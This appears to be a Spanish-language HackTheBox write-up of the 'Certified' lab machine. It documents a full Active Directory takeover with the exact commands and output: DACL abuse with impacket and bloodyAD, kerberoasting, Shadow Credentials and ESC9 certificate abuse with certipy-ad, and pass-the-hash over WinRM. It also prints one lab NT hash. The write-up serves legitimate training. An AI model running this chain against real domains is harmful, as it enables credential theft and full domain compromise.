# Certified - HackTheBox

> Resolviendo máquina Windows nivel Medium de HackTheBox donde aprovecharemos una serie de malas configuraciones en un entorno de Directorio Activo.

---

# Reconocimiento

Como siempre comenzamos a con el reconocimiento de puertos abiertos en la máquina víctima, y como de costumbre esto lo hacemos con la herramienta nmap.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942459213/d178b286-e963-4101-9bb2-0728e1cd3129.webp align="center")

Tras identificar los puertos abiertos en el sistema procedo a escanearlos de forma más avanzada para obtener algo más de información de cada uno.

```bash
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-20 02:44:59Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-03-20T02:46:30+00:00; +7h00m00s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-03-20T02:46:30+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2025-03-20T02:46:30+00:00; +7h00m00s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-03-20T02:46:30+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49713/tcp open  msrpc         Microsoft Windows RPC
49737/tcp open  msrpc         Microsoft Windows RPC
60528/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Tras el escaneo podemos destacar varias cosas.

> DC01.certified.htb certified.htb
> 
> Kerberos (puerto 88)
> 
> SMB (445)

Cabe recordar que disponemos de credenciales, y tenemos el puerto 445 abierto por lo que podríamos revisar si las credenciales podrían servirnos para acceder al mismo.

```bash
┌──(kali㉿kali)-[~/Certified]
└─$ netexec smb 10.10.11.41 -u judith.madder -p judith09 
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [-] certified.htb\judith.madder:judith09 STATUS_LOGON_FAILURE 
```

El par de credenciales no nos sirve para SMB.

---

# Explotación

Por lo que al disponer de credenciales podríamos hacer uso de **bloodhound-python** para enumerar un poco el directorio activo y buscar posibles vías de ataque.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942551067/4dd3e0c9-5c03-424a-bb6e-0d3ff43a2be1.webp align="center")

También podríamos enumerar el dominio utilizando **ldapdomaindump**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942563931/d013a259-0202-42cf-9ca3-bb894f04a2d2.webp align="center")

Y podemos descubrir los usuarios del dominio.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942579748/fafcd8b9-a815-4645-821d-f7c73c895536.webp align="center")

Por lo que el siguiente paso es dirigirnos a bloodhound para intentar buscar vías de ataque para poder avanzar con el CTF.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942594045/81a57992-60be-4266-9da4-21416fb1e2b0.webp align="center")

Partiendo del usuario **judith.mader** podemos ver que posee privilegios **WriteOwner** sobre el grupo **MANAGEMENT**.

Por lo que vamos a aprovecharlo para conceder al usuario **judit.mader** permisos de escritura y para añadir miembros al grupo para posteriormente añadirnos a nosotros mismos, y esto lo haremos usando algunas herramientas de impacket.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942615482/f984de58-f5b4-4a76-9a2a-43ab6d8918f1.webp align="center")

Después le damos los permisos **WriteMembers** para poder añadir usuarios al grupo **MANAGEMENT**.

```bash
┌──(kali㉿kali)-[~/Certified]
└─$ impacket-dacledit  -action 'write' -rights 'WriteMembers' -target-dn "CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB" -principal "judith.mader" "certified.htb/judith.mader:judith09" 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250320-101843.bak
[*] DACL modified successfully!
```

Y añadimos al usuario judith.mader al grupo **MANGEMENT** usando **bloodyAD**.

```bash
┌──(kali㉿kali)-[~/Certified]
└─$ bloodyAD --host 10.10.11.41 -d 'certified.htb' -u 'judith.mader' -p 'judith09' add groupMember "Management" "judith.mader"
[+] judith.mader added to Management
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942650987/8cbf91f3-f073-4394-bb54-37057e25d77a.webp align="center")

Los miembros del grupo **MANAGEMENT** tiene permisos de escritura sobre el usuario **MANAGEMENT\_SVC**, por lo que tenemos dos opciones:

1. Realizar un ataque **kerberoast** y obtener el hash del usuario para craquearlo posteriormente.
    
2. Realizar un **Shadow Credential Attack** con la herramienta **pyWhisker**.
    

En mi caso realizaré las dos opciones para mostrar el funcionamiento.

1. Para el kerberoast voy a utilizar la herramienta **targetedkerberoast**, aunque también se puede usar **GetUserSPNs.py**.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942696430/018d21a8-8e0e-4d60-a80b-90c89926f860.webp align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942710190/664a625b-0a50-465a-9793-f7327a626a8a.webp align="center")

El siguiente paso sería craquear el hash, pero os adelanto que no vais a conseguirlo, por lo que toca pasar a la opción número 2.

2. Vamos a realizar un ataque **Shadow Credential** utilizando **certipy-ad**, aunque también podríamso usar **pywhisker** para obtener el certificado **pfx** y la clave del mismo y posteriormente con **gettgtpkinit.py** obtener el **TGT** para después con **getnthash** sacar el hash del usuario **MANAGEMENT\_SVC**.
    

Pero en mi caso lo haré usando **certipy-ad** ya que es más sencillo y mucho más rápido.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942766572/b0a31477-a8e5-4f14-9039-41688b218791.webp align="center")

Como podemos ver en la imagen, hemos obtenido el **TGT** del usuario **MANAGEMENT\_SVC** y su hash, por lo que podríamos revisar si es posible conectarnos vía **WinRM** haciendo **Pass The Hash**.

```bash
┌──(kali㉿kali)-[~/Certified]
└─$ netexec winrm 10.10.11.41 -u management_svc -H <HASH>
WINRM       10.10.11.41     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
WINRM       10.10.11.41     5985   DC01             [+] certified.htb\management_svc:<HASH> (Pwn3d!)
```

Y parece que si podemos, por lo que ese será el siguiente paso.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942799193/ee6ccc4e-990a-4431-a9f2-23ddbb1c6303.webp align="center")

A continuación ya podremos leer la flag de usuario, por lo que el siguiente paso será intentar obtener privilegios máximos.

Para poder continuar me dirijo a **Bloodhound** para buscar el camino a seguir.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942818577/44bc6551-d20f-4719-9145-db0f4ca6bd58.webp align="center")

El usuario **MANAGEMENT\_SVC** dispone de permisos ***"Generic\_All"*** sobre el usuario **CA\_OPERATOR**, por lo que podríamos realizar de nuevo un ataque **Shadow Credential** para obtener su **TGT** y su **HASH**.

De nuevo voy a realizar el ataque usando **certipy-ad**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942847541/48519dc6-ea3b-4967-915a-90ae92026c8d.webp align="center")

Y tras obtener de nuevo el **HASH** y el **TGT** voy a comprobar si puedo conectarme vía **WinRM** con el usuario **CA\_OPERATOR**.

```bash
┌──(kali㉿kali)-[~/Certified]
└─$ netexec winrm 10.10.11.41 -u ca_operator -H <HASH>
WINRM       10.10.11.41     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
WINRM       10.10.11.41     5985   DC01             [-] certified.htb\ca_operator:<HASH>
```

---

# Escalada de Privilegios

No podemos conectarnos vía **WinRM**... por lo que solo se me ocurre usar **certipy-ad** con el **hash** del usuario **CA\_OPERATOR** para intentar buscar **plantillas de certificados vulnerables**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942921468/8cd15165-7633-4ca5-aeb7-bcd2905c8eed.webp align="center")

Tras ejecutar el comando podemos ver que nos genera una serie de archivos, en concreto el archivo .zip es el que voy a importar a **BloodHound** para visualizar la información.

Pero antes de nada voy a leer el contenido de uno de los archivos de texto generados por **certipy-ad**.

```bash
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
```

```bash
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
```

Si nos fijamos al final del archivo podemos ver que nos indica que la plantilla de certificado ***CertifiedAuthentication*** es vulnerable a **ESC9**.

Para verificar que es cierto he encontrado un artículo que lo explica con detalle.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742942984384/09e7aa5d-acb8-4087-89ac-b5f1c8a77185.webp align="center")

* [Artículo ESC9](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742943017258/13470895-2431-457d-a21b-10cd9ca1143f.webp align="center")

Podemos verificar que es vulnerable, a pesar de que la herramienta **certipy** nos lo mostró en el archivo de texto.

> Es importante recordar para efectuar este ataque necesitamos permisos **GenericAll**, que en nuestro caso los disponemos con el usuario **MANAGEMENT\_SVC** sobre el usuario **CA\_OPERATOR**.

El siguiente paso es abusar de esta vulnerabilidad con el fin de escalar privilegios.

Para explotar **ESC9**, en primer lugar aprovecharé que con la cuenta **MANAGEMENT\_SVC** tenemos permisos **GenericAll** sobre la cuenta **CA\_OPERATOR**, usándola para cambiar el ***userPrincipalName (UPN)*** de **CA\_OPERATOR** para que sea **Administrator**.

```bash
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad account update -u management_svc -hashes :<HASH> -user ca_operator -upn Administrator -dc-ip 10.10.11.41 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'
```

El siguiente paso será solicitar el certificado del usuario **Administrador** utilizando las credenciales del usuario **CA\_OPERATOR**.

```bash
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad req -u ca_operator -hashes :<HASH-CA_OPERATOR> -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41 2>/dev/null
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

Una vez que tenemos el certificado solo debemos utilizarlo para autenticarnos.

```bash
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: Administrator
```

Al intentar autenticarme me da un error porque ***no coincide el UPN***, por lo que debemos volver a actualizarlo como hicimos anteriormente para dejarlo como estaba.

```bash
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'
```

```bash
┌──(kali㉿kali)-[~/Certified/certipy-ad]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': <HASH-ADMINISTRATOR>
```

Y por último haciendo **“Pass The Hash”** nos conectamos vía **Evil-WinRM**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742943155231/f05d3cca-180f-4e5e-bdbe-83668da9327f.webp align="center")
